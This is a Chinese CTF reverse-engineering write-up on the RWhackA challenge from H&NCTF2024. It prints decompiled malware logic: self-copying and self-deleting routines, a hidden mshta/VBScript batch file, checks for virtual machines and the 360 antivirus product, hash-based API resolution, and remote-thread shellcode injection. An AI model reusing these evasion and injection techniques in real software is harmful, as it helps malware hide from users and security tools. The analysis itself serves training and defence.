-
-
[原创]RWhackA远程线程注入式病毒分析(H&NCTF2024)
-
2024-6-6 00:51 2903
-
wp拜读:[原创]H&NCTF RE 部分题解-CTF对抗-看雪-安全社区|安全招聘|kanxue.com
涉及到的知识点:
IDA动态调试
IDAPython脚本
用快照对进程、模块、线程进行遍历(代码段)
WindowsAPI
病毒感染实现(PE infector)
DLL文件分析
发现保护器:保护器: Enigma Virtual Box
工具下载:【更新】Enigma Virtual Box(单文件封装工具) v10.50 - 『精品软件区』 - 吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn
该保护器介绍:Enigma Virtual Box用法 exe封包工具介绍-CSDN博客
这个保护器主要的功能就是把一堆文件合成为一个EXE!
分析main函数逻辑
开始手动静态分析:
静态分析发现有很多內存访问异常点,均出自函数调用上,可能是程序重定位时产生的错误,没办法只能动态调试了。
动调验证MEMORY爆红原因
我想知道为什么会动态调试才出现真实的地址:
找到存放地址的变量去下一个断点:
下个读写断点:
再去看是被哪个函数写入的值!
成功找到!
毫无疑问这个正确的地址是由保护器Enigma Virtual Box动态写入的!!!
发现存在一个非官方库的dll文件,猜这其实是题目要给的附件只是被打包进了exe!
动调DLL文件的Local_Hide函数
继续动态调试,成功加载出myDLL1.dll文件,直接用ida插件dump出来:
v3 = (kernel32_LoadLibraryW)(L"myDLL1.dll", argv, envp);// 成功加载出myDLL1.dll文件,直接用ida插件dump出来
成功:
剩下的就是动态调试dll文件里面的函数了!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 | int LocalHide() { char Src[304]; // [rsp+20h] [rbp-E0h] BYREF char Command[304]; // [rsp+150h] [rbp+50h] BYREF char FileName[304]; // [rsp+280h] [rbp+180h] BYREF CHAR Filename[304]; // [rsp+3B0h] [rbp+2B0h] BYREF CHAR Buffer[256]; // [rsp+4E0h] [rbp+3E0h] BYREF char v6[10240]; // [rsp+5E0h] [rbp+4E0h] BYREF DWORD pcbBuffer; // [rsp+2DF0h] [rbp+2CF0h] BYREF FILE *Stream; // [rsp+2DF8h] [rbp+2CF8h] BYREF memset (v6, 0, sizeof (v6)); memset (Command, 0, 0x12Cui64); memset (Filename, 0, 0x12Cui64); memset (Src, 0, 0x12Cui64); memset (FileName, 0, 0x12Cui64); memset (Buffer, 0, sizeof (Buffer)); pcbBuffer = 256; GetUserNameA(Buffer, &pcbBuffer); // 获取当前用户名 stdio_common_vsprintf_s(v6, "C:\\Users\\%s\\Videos" , Buffer); stdio_common_vsprintf_s_0(Src, "%s\\svchsst.exe" ); // 拼接出文件路径 GetModuleFileNameA(0i64, Filename, 0x104u); stdio_common_vsprintf_s_0(FileName, "%s\\9434d49b-56e1-34d4-9434-0245943434d4.txt" ); Stream = fopen (FileName, "r" ); if ( !Stream ) // 在主程序中由于文件不存在导致打开失败 { fopen (FileName, "r" ); // 打开文件会失败,C:\Users\Brinmon\Videos\9434d49b-56e1-34d4-9434-0245943434d4.txt ModifyAndRenameFile(Src, "txt" , 0); // 将src的路径后缀改名 CopyFileContent(Filename, Src); // 将主exe复制一份名为svchsst.txt的文本文件 ModifyAndRenameFile(Src, "exe" , 1); // 目录出现exe,修改文件明 stdio_common_vsprintf_s_0(Command, "start %s" ); // 拼接出命令start svchsst.exe system (Command); // 运行完之后会出现一个svchsst.txt Stream = 0i64; fopen_s(&Stream, FileName, "w" ); fwrite (Filename, 0x12Cui64, 1ui64, Stream); // 写入主文件路径到txt文本:C:\Users\Brinmon\Desktop\隐藏的眼睛\RwHackA - 副本.exe fclose (Stream); puts ( "退出\n" ); exit (0); } printf ( "身在此山中\n" ); memset (Src, 0, 0x12Cui64); fgets (Src, 300, Stream); // 读取文本信息,得到主程序的位置C:\Users\Brinmon\Desktop\隐藏的眼睛\RwHackA - 副本.exe fclose (Stream); stdio_common_vsprintf_s_0(Command, "del %s" ); // del C:\Users\Brinmon\Desktop\隐藏的眼睛\RwHackA - 副本.exe system (Command); stdio_common_vsprintf_s_0(Command, "del %s" ); // del C:\Users\Brinmon\Videos\9434d49b-56e1-34d4-9434-0245943434d4.txt return system (Command); } |
这段代码的逻辑:
文件有三个:原程序、svchsst.exe、9434d49b-56e1-34d4-9434-0245943434d4.txt
- 原程序打开txt文件失败,复制其本身到视频文件夹下的svchsst.exe副本中,并启动它,完成后将自身路径写入txt文件中并结束自身运行
- 副本启动后检测到了txt文件,删除掉了txt文件和原文件,并继续后面的执行过程
继续分析main函数,发现虚拟机检测(CPU数量检查)
继续分析main函数:
这里会检测程序是否运行再虚拟机上!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 | void __noreturn sub_140001070() { __int64 len; // rdx char v1[304]; // [rsp+20h] [rbp-498h] BYREF char vscCode[304]; // [rsp+150h] [rbp-368h] BYREF char v3[304]; // [rsp+280h] [rbp-238h] BYREF char v4[264]; // [rsp+3B0h] [rbp-108h] BYREF int v5; // [rsp+4C0h] [rbp+8h] BYREF __int64 v6; // [rsp+4C8h] [rbp+10h] BYREF memeset(); v5 = 256; (advapi32_GetUserNameA)(v4, &v5); memeset(); memeset(); (kernel32_GetModuleFileNameA)(0i64, v1, 260i64); stdio_common_vsprintf_s(v3, "C:\\Users\\%s\\Pictures\\WindowsRun.bat" , v4); v6 = 0i64; (ucrtbase_fopen_s)(&v6, v3, "w" ); memeset(); stdio_common_vsprintf_s( vscCode, "if \"%%1\"==\"hide\" goto CmdBegin\n" "start mshta vbscript:createobject(\"wscript.shell\").run(\"\"\"%%~0\"\" hide\",0)(window.close)&&exit\n" ":CmdBegin\n" "del %s" , v1); len = -1i64; do ++len; while ( vscCode[len] ); (ucrtbase_fwrite)(vscCode, len, 1i64, v6); (ucrtbase_fclose)(v6); stdio_common_vsprintf_s(v1, "start %s" , v3); (ucrtbase_system)(v1); ucrtbase_exit(0i64); } |
这段代码的主要逻辑就是运行vbs代码删除文件!
发现这段vbs的作用就是用来删除文件和隐藏窗口的!
if "%1"=="hide" goto CmdBegin start mshta vbscript:createobject("wscript.shell").run("""%~0"" hide",0)(window.close)&&exit :CmdBegin del C:\Users\Brinmon\Desktop\隐藏的眼睛\RwHackA - 副本.exe
批处理文件首先检查是否有参数传递。如果没有参数,它使用 mshta
命令重新运行自己,并传递 hide
参数,同时隐藏窗口。然后在重新运行时,由于有了 hide
参数,实际的批处理文件逻辑开始执行。
继续分析又发现虚拟机检测(进程快照检查)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 | //使用 CreateToolhelp32Snapshot() 函数获取当前进程的进程快照 Toolhelp32Snapshot = kernel32_CreateToolhelp32Snapshot(2i64, 0i64); //如果获取快照失败,打印错误码 if ( Toolhelp32Snapshot == -1 ) { v7 = (kernel32_GetLastError)(); printf ( "CreateToolhelp32Snapshot:%d\n" , v7); } // 初始化 PROCESSENTRY32W 结构体 v51[0] = 568; //使用 Process32FirstW() 函数遍历进程快照 if ( (kernel32_Process32FirstW)(Toolhelp32Snapshot, v51) ) { //定义一些字符串,用于检查进程名是否包含这些字符串 v40 = "Vmtoolsd.exe" ; v41 = "Vmwaretrat.exe" ; v42 = "Vmwareuser.exe" ; v43 = "Vmacthlp.exe" ; v44 = "vboxservice.exe" ; v45 = "vboxtray.exe" ; do { memeset(); //将进程名从宽字符转换为多字节字符串 (kernel32_WideCharToMultiByte)(0i64, 0i64, v52, 0xFFFFFFFFi64, v50, 260, 0i64, 0i64, v40, v41, v42, v43, v44, v45); //检查进程名是否包含虚拟机相关的字符串 for ( i = 0i64; i < 6; ++i ) { v10 = (&v40)[i]; v11 = (v50 - v10); do { v12 = v11[v10]; v13 = *v10 - v12; if ( v13 ) break ; ++v10; } while ( v12 ); if ( !v13 ) { printf ( "为虚拟机exe\n" ); sub_140001070(); } } } //继续遍历下一个进程 while ( (kernel32_Process32NextW)(Toolhelp32Snapshot, v51) ); } else { //如果 Process32FirstW() 函数失败,打印错误码 v8 = (kernel32_GetLastError)(); printf ( "Process32First:%d\n" , v8); } printf ( "为实体机\n" ); |
这段代码通过遍历进程查找电脑中是否存在vm必备进程!来检查是否是虚拟机!
1 2 3 4 5 6 | v40 = "Vmtoolsd.exe" ; v41 = "Vmwaretrat.exe" ; v42 = "Vmwareuser.exe" ; v43 = "Vmacthlp.exe" ; v44 = "vboxservice.exe" ; v45 = "vboxtray.exe" ; |
遍历PCB进程块查找特定模块
直接手动绕过前面的虚拟机检查就来到了下面代码的位置!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 | // 获取当前进程的环境块(PEB) Blink = NtCurrentPeb()->Ldr->InLoadOrderModuleList.Blink; // 初始化链表遍历指针v16为链表头部 v16 = Blink; // 遍历模块链表 do { // 移动到下一个模块 v16 = v16->Flink; // 检查当前模块是否有模块名称 if (v16[3].Flink) { // 提取模块名称并存储在v46数组中 Flink = v16[6].Flink; for (j = 0i64; *Flink; v46[j++] = v19) { // 最多只处理63个字符 if (j >= 0x3F) break ; v19 = *Flink; //字节存储在v19中 Flink += 2; //移动两个字节 } v46[j] = 0; // 添加字符串结束符 // 将模块名称转换为小写 v20 = (user32_CharLowerA)(v46); // 计算模块名称哈希值 v21 = 53; v22 = -1i64; v14 = v20; do ++v22; while (*(v20 + v22)); v23 = 0; if (v22) { do { v24 = *v14; ++v23; ++v14; v21 = v24 + 3 * v21; } while (v23 < v22); // 检查哈希值是否匹配目标值0x037C0B5E if (v21 == 0x037C0B5E) break ; } } } // 循环直到遍历完整个模块链表 while (Blink != v16); |
遍历程序的所有模块来寻找特点hash值的模块,我们直接下个断点再来看看它找的是哪个模块!
再去看地址发现找到了kernel32
解决了这段代码就来学习一下这个结构体(结构体来至chatgpt)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 | typedef struct _LDR_DATA_TABLE_ENTRY { LIST_ENTRY InLoadOrderLinks; LIST_ENTRY InMemoryOrderLinks; LIST_ENTRY InInitializationOrderLinks; PVOID DllBase; PVOID EntryPoint; ULONG SizeOfImage; UNICODE_STRING FullDllName; UNICODE_STRING BaseDllName; ULONG Flags; USHORT LoadCount; USHORT TlsIndex; union { LIST_ENTRY HashLinks; struct { PVOID SectionPointer; ULONG CheckSum; }; }; union { struct { ULONG TimeDateStamp; }; struct { PVOID LoadedImports; }; }; PVOID EntryPointActivationContext; PVOID PatchInformation; LIST_ENTRY ForwarderLinks; LIST_ENTRY ServiceTagList; LIST_ENTRY StaticLinks; PVOID ContextInformation; ULONG_PTR OriginalBase; LARGE_INTEGER LoadTime; } LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY; |
检查系统中是否存在某些安全软件或者虚拟机相关的进程
继续向下分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 | // 获取kernel32.dll中GetModuleHandleA函数的地址 qword_1400050C8 = (sub_140001230)(v25, 4038080516i64, v14); // 获取kernel32.dll中GetProcAddress函数的地址 qword_1400050C0 = (sub_140001230)(v25, 448915681i64, v26); // 获取kernel32.dll的模块句柄 qword_1400050B8 = qword_1400050C8( "kernel32.dll" ); // 获取ADVAPI32.dll的模块句柄 qword_1400050D0 = qword_1400050C8( "ADVAPI32.dll" ); // 获取ntdll.dll的模块句柄 v27 = qword_1400050C8( "ntdll.dll" ); // 设置 VerSetConditionMask 的参数 LOBYTE(v28) = 3; v29 = v27; v30 = (ntdll_VerSetConditionMask)(0i64, 2i64, v28); LOBYTE(v31) = 3; v32 = (ntdll_VerSetConditionMask)(v30, 1i64, v31); LOBYTE(v33) = 3; (ntdll_VerSetConditionMask)(v32, 4i64, v33); // 尝试获取 ntdll.dll 中 RtlGetVersion 函数的地址 if (v29) { v34 = kernel32_GetProcAddress(v29, "RtlGetVersion" ); if (v34) { // 调用 RtlGetVersion 函数获取系统版本信息 memeset(); v48[0] = 284; if (!v34(v48)) { // 根据系统版本信息打印相应的信息 if (v48[1] == 6 && v48[2] == 1) { printf ( "Windows 7\n" ); } else { printf ( "其他版本\n" ); // 获取进程快照 v35 = kernel32_CreateToolhelp32Snapshot(2i64, 0i64); if (v35 == -1) { v36 = (kernel32_GetLastError)(); printf ( "CreateToolhelp32Snapshot:%d\n" , v36); } // 遍历进程快照 v53[0] = 568; if ((kernel32_Process32FirstW)(v35, v53)) { LABEL_34: memeset(); (kernel32_WideCharToMultiByte)(0i64, 0i64, v54, 0xFFFFFFFFi64, v49, 260, 0i64, 0i64); v38 = 0; // 检查是否存在"ZhuDongFangYu.exe"和"360Tray.exe"进程 if (ucrtbase_strcmp( "ZhuDongFangYu.exe" , v49)) { while (ucrtbase_strcmp( "360Tray.exe" , v49)) { if (++v38 >= 6) { if ((kernel32_Process32NextW)(v35, v53)) goto LABEL_34; goto LABEL_40; } } } printf ( "检测到360。。。。\n" ); v5 = 1; } else { v37 = (kernel32_GetLastError)(); printf ( "Process32First:%d\n" , v37); } LABEL_40: printf ( "%d\n" , v5); } sub_140001320(); } } } return 0; |
这段代码的核心函数就是sub_140001320();,前面查找"ZhuDongFangYu.exe" 和 "360Tray.exe" 这两个进程并不会阻止程序的运行!他还会检测计算机所使用的操作系统!
RtlGetVersion 函数所返回的结构体:
1 2 3 4 5 6 7 8 9 10 11 12 13 | typedef struct _OSVERSIONINFOEXW { ULONG dwOSVersionInfoSize; ULONG dwMajorVersion; ULONG dwMinorVersion; ULONG dwBuildNumber; ULONG dwPlatformId; WCHAR szCSDVersion[128]; USHORT wServicePackMajor; USHORT wServicePackMinor; USHORT wSuiteMask; BYTE wProductType; BYTE wReserved; } OSVERSIONINFOEXW, *POSVERSIONINFOEXW, *LPOSVERSIONINFOEXW; |
分析最终flag隐藏的位置sub_140001320()
解析一下代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 | // 加载 XMM 寄存器 si128 = _mm_load_si128(xmmword_140003A20); // 获取 Windows API 函数的地址 OpenProcess = kernel32_GetProcAddress(KERNEL32Moudle, "OpenProcess" ); VirtualAllocEx = kernel32_GetProcAddress(KERNEL32Moudle, "VirtualAllocEx" ); WriteProcessMemory = kernel32_GetProcAddress(KERNEL32Moudle, "WriteProcessMemory" ); CreateRemoteThread = kernel32_GetProcAddress(KERNEL32Moudle, "CreateRemoteThread" ); // 初始化指针变量 v3 = &v41; v4 = &unk_140003450; v5 = 7i64; // 循环复制数据 do { v3 += 32; v6 = *v4; v7 = v4[1]; v4 += 8; *(v3 - 8) = v6; v8 = *(v4 - 6); *(v3 - 7) = v7; v9 = *(v4 - 5); *(v3 - 6) = v8; // 省略剩余赋值操作 --v5; } while (v5); // 继续复制数据 v14 = *(v4 + 4); v15 = 6; v16 = -1162190778i64; v17 = 1i64; *v3 = *v4; v3[4] = v14; // 循环进行数据变换 do { v18 = 227i64; v19 = &v45; v20 = 227; v21 = &v44; do { v22 = *v21; v21 -= 4; v19 -= 4; v23 = *(&v41 + (v20 + 1) % 0xBu); v24 = v17 ^ v18-- & 3; *(v19 + 1) -= ((v23 ^ v16) + (si128.m128i_i32[v24] ^ v22)) ^ (((v22 >> 6) ^ (4 * v23)) + ((16 * v22) ^ (v23 >> 3))); --v20; } while (v20); v25 = v42 ^ v16; v16 -= 1953785185i64; v41 -= (v25 + (si128.m128i_i32[v17] ^ v43)) ^ (((v43 >> 6) ^ (4 * v42)) + ((16 * v43) ^ (v42 >> 3))); v17 = (v16 >> 2) & 3; --v15; } while (v15); // 输出处理后的数据 v26 = &v41; for (i = 0; i < 0x393; ++i) printf ( "%c " , *v26++); // 枚举系统中的进程 Toolhelp32Snapshot = kernel32_CreateToolhelp32Snapshot(2i64, 0i64); if (Toolhelp32Snapshot == -1) { v29 = (kernel32_GetLastError)(); printf ( "CreateToolhelp32Snapshot:%d\n" , v29); } v46[0] = 568; if ((kernel32_Process32FirstW)(Toolhelp32Snapshot, v46)) { // 查找 "exp10rer.exe" 进程 while ( true ) { v39 = -1i64; do { if (*(&v46[11] + v39 + 1) != aExp10rerExe[v39 + 1]) break ; v39 += 2i64; if (v39 == 13) { v31 = v46[2]; goto LABEL_14; } } while (*(&v46[11] + v39) == aExp10rerExe[v39]); if ((kernel32_Process32NextW)(Toolhelp32Snapshot, v46)) continue ; break ; } } else { v30 = (kernel32_GetLastError)(); printf ( "Process32First:%d\n" , v30); } //程序如果未找到目标程序exp10rer.exe,就会将CreateRemoteThread复制给v31 v31 = CreateRemoteThread; LABEL_14: printf ( "inject process pid: %d\n" , v31); // 注入代码到目标进程 v32 = OpenProcess(0x1FFFFFi64, 0i64, v31); v33 = (kernel32_GetLastError)(); printf ( "OpenProcess:%d\n" , v33); v34 = VirtualAllocEx(v32, 0i64, 916i64, 12288i64, 64); v35 = (kernel32_GetLastError)(); printf ( "VirtualAllocEx:%d\n" , v35); WriteProcessMemory(v32, v34, &v41, 916i64, 0i64); v36 = (kernel32_GetLastError)(); printf ( "WriteProcessMemory:%d\n" , v36); CreateRemoteThread(v32, 0i64, 0i64, v34, 0i64, 0, 0i64); v37 = (kernel32_GetLastError)(); return printf ( "CreateRemoteThread:%d\n" , v37); |
这段代码的主要功能是:
- 加载一些 Windows API 函数的地址。
- 从内存中读取并处理一些数据。
- 枚举系统中正在运行的进程,并找到名为 "exp10rer.exe" 的进程。
- 将处理后的数据注入到目标进程的内存中。
- 在目标进程中创建一个新的远程线程,并执行注入的代码。
但是电脑中并没有这个程序或进程exp10rer.exe,这个进程大概率在源码中是存在的但是被本题魔改掉了,因为这是ctf比赛,写成这样已经将整个病毒架构写出来了!
分析最终注入其他程序的shellcode
1 2 3 4 | // 输出处理后的数据 v26 = &v41; for (i = 0; i < 0x393; ++i) printf ( "%c " , *v26++); |
这段代码会输出最终的shellcode,也就是我们最终要分析的目标!直接在这个位置下个断点!!!dump一下数据就好了!!
利用idapython将数据dump出来!
1 2 3 | from ida_bytes import get_bytes, patch_bytes with open( 'dump' , 'wb' ) as f: f.write(idaapi.get_bytes(0x5FF060, 0x393)) |
将内存dump出来之后就直接拖入ida看看这段shellcode的作用,当然也可以直接在ida里将shellcode转为指令直接分析不需要dump!
但是我还是dump出来更加清晰:
在shellcode的最后就隐藏这flag:
[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法